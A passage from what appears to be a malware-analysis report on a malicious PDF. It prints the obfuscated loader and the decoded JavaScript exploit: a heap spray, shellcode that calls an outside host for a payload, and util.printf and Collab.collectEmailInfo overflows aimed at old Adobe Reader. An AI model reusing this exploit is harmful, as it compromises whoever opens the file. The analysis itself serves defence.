VW1oc1RIZG9RbFo2ZWpoTFdtUkZVVFJCVFZCV2MwTnBXVjgzU2pKbVRVQkVhRUk0V1dwWFNWWkJWSGQzWkc5Uk1VRk5hM3BQVjFGMk5rTTVWMlZ5WDBSVll6bFhhSGgyYWxGZlVUUk9UV281UVZkR2VGODNkMDFmT0hOalFqaHpSRjgzU2pKUE0xTkhhVGxUVjE4M1JrMW1iM1F4VGswNE1teENRWGRyZWs5Q1ZVSnpUVTQ0VFVkV1RUSmFZV3hHVmpZNVRHMXFZelpsTmxkQVNXeGtWREpBVjNjNVFVTnFSR3c0TVV4aFZWcEhXRGg1YlVCTmRERk9UV3Q2VDFkUldqUkViVlpXWTA5TlZUbDZkRlpOTWxwQVEzZE5RVTE2VjNOWGFtcEJiemd5YkVKQmQydDZUMEpWUW5OTlRqaE5Sell6YVhkc1JITjZWbTB4V2xWdmVYWTJRemxYWlhKZlJGVmpPVmRvZUhacVVWOUdPR1kzYWxkZmVsTjNaR04wVTJGc1JsWTJPVXh0YW1NMlpUWlhRRWxzWkZReVdFUXhlazlYZWxsQmIzTlJaRzlMV21RM1VEbGhiekZhTkVSdFZsWmpUMDFWT1hwMGFtUTBOR1ZOTWpST1RVeGFRRzVRV21Gdk1WbzBSRzFXVm1OUFRWVTVlblJxWkRZMFpVMHlORTVOTmxwQWJsQmFZVGxvZFhwQ05EaG9lRlo2YW14dlYxVlZVVk5PVFhOUllVMDFkVUZOWlZkbVh6azVVRmRBUWtKNk4zUkNZMk01WVhGUlFsVnZkRnBoUlRVNVlXOWxWMlpmT1RsUVYwQkNRbm8zZEdWall6bGtjVEphV0hoUmVFQnVVVm8wUkcxV1ZtTlBUVlU1ZW5ScVpEWTBaVTAxV21SamRGcGhSVFU1WVc5bFYyWmZPVGxRVjBCQ1FubzNkR1ZqWXpsaGNWRnVWVzkwV2xoVVVUUm1XbG95VmpkVVJEUjRkbU0yT0VoMFpqa3hVVmh5VVhoZlJITTVaRU01WTNwc2VsWnFlR1ZOYkVKcU9XUnhVV1Z6UTNkRWFFUnFPVjg0TVcxa2JuVTVVRVEwT0d4dWRUbFFSRFE0VDAxME1VNU5RSGRzTjNsV1ptOVNWalpDUkhwNlFrQmFVVGc1ZWs4emVWWlBRMWhaUVRkUlUwNU5VMGxWY25WdFZXOVJOR3hDVldwNmVqbE5UamxZVm5wRVVURmtjVkUwYkVKVmFucDZPVTFPT1ZoV2VrUkxXbUZ0TVdwcFYwWTRhVU41ZFd4RWFFUmxiVXBYWHpoUk5FNU5iRWRtUTNsNlQwUkdPR2xEZVhWc09HbFpYMEpTZW13M2VXbzJRMUJIWm05TFJGOXRhRkpQY2xGdFFFMTVOR2xYV0ZKT1RWSldOa0pFZW5wQ1FGcFJPRGw2YkVWME1VNU5NamxrUlZGdWFGZGtkMVpDVDFsQ2JVeFdabTkwTVU1Tk1ub25LVHM9");
                YTqIRk2Harz8Ua=IJge1pL(I9g087nqwvW);
                eval(YTqIRk2Harz8Ua);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x11A8 4717 bytes
SHA-256: bc6c228d4eb798cbca0d71382cfba851327b7b0f6a2bb164ebe53db06d3179ff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
aBrt94o=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var dxHe4Ur4UT88aE=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+aBrt94o.length;while(dxHe4Ur4UT88aE.length<fg)dxHe4Ur4UT88aE+=dxHe4Ur4UT88aE;var nmbr=dxHe4Ur4UT88aE.substring(0,fg);var stig=dxHe4Ur4UT88aE.substring(0,dxHe4Ur4UT88aE.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+aBrt94o}var C8w862="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",C8w862);function FwdA4iB() { var Z0OLCsDFNgN = new Array(); function wc4WnvQ(rERDB5OFnaMUjk, yd5C1kaV2CZYzU) { while (rERDB5OFnaMUjk.length*2<yd5C1kaV2CZYzU){rERDB5OFnaMUjk += rERDB5OFnaMUjk;} rERDB5OFnaMUjk = rERDB5OFnaMUjk.substring(0,yd5C1kaV2CZYzU/2); return rERDB5OFnaMUjk; } function mTDNhOS6dFfzkP() { var RLNeYOP9tR = 0x0c0c0c0c; var GzKxxGQAe = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var JJLCikLcBg5 = 0x400000; var Q29IS = GzKxxGQAe.length * 2; var yd5C1kaV2CZYzU = JJLCikLcBg5 - (Q29IS+0x38); var rERDB5OFnaMUjk = unescape("%u9090%u9090"); rERDB5OFnaMUjk = wc4WnvQ(rERDB5OFnaMUjk, yd5C1kaV2CZYzU); var cat4o6PhHV1DCf = (RLNeYOP9tR - 0x400000)/JJLCikLcBg5; for (var j7DCMtC7Iw=0;j7DCMtC7Iw<cat4o6PhHV1DCf;j7DCMtC7Iw++) { Z0OLCsDFNgN[j7DCMtC7Iw] = rERDB5OFnaMUjk + GzKxxGQAe; } } function wsGHDsTuxe() { var HnER8B31Er7dYO = app.viewerVersion.toString(); HnER8B31Er7dYO = HnER8B31Er7dYO.replace(/\D/g,""); var PbLE0s7QAK = new Array(HnER8B31Er7dYO.charAt(0),HnER8B31Er7dYO.charAt(1),HnER8B31Er7dYO.charAt(2)); if ((PbLE0s7QAK[0] == 8 && ((PbLE0s7QAK[1] == 1 && PbLE0s7QAK[2] < 2) || PbLE0s7QAK[1] < 1)) || (PbLE0s7QAK[0] == 7 && PbLE0s7QAK[1] < 1) || (PbLE0s7QAK[0] < 7)) { mTDNhOS6dFfzkP(); var mEFIAE7PgEa = unescape("%u0c0c%u0c0c"); while(mEFIAE7PgEa.length < 44952) mEFIAE7PgEa += mEFIAE7PgEa; this.collabStore = Collab.collectEmailInfo({subj: "",msg: mEFIAE7PgEa}); } } wsGHDsTuxe(); }

Open this report in the interactive analyzer, or submit your own file for analysis.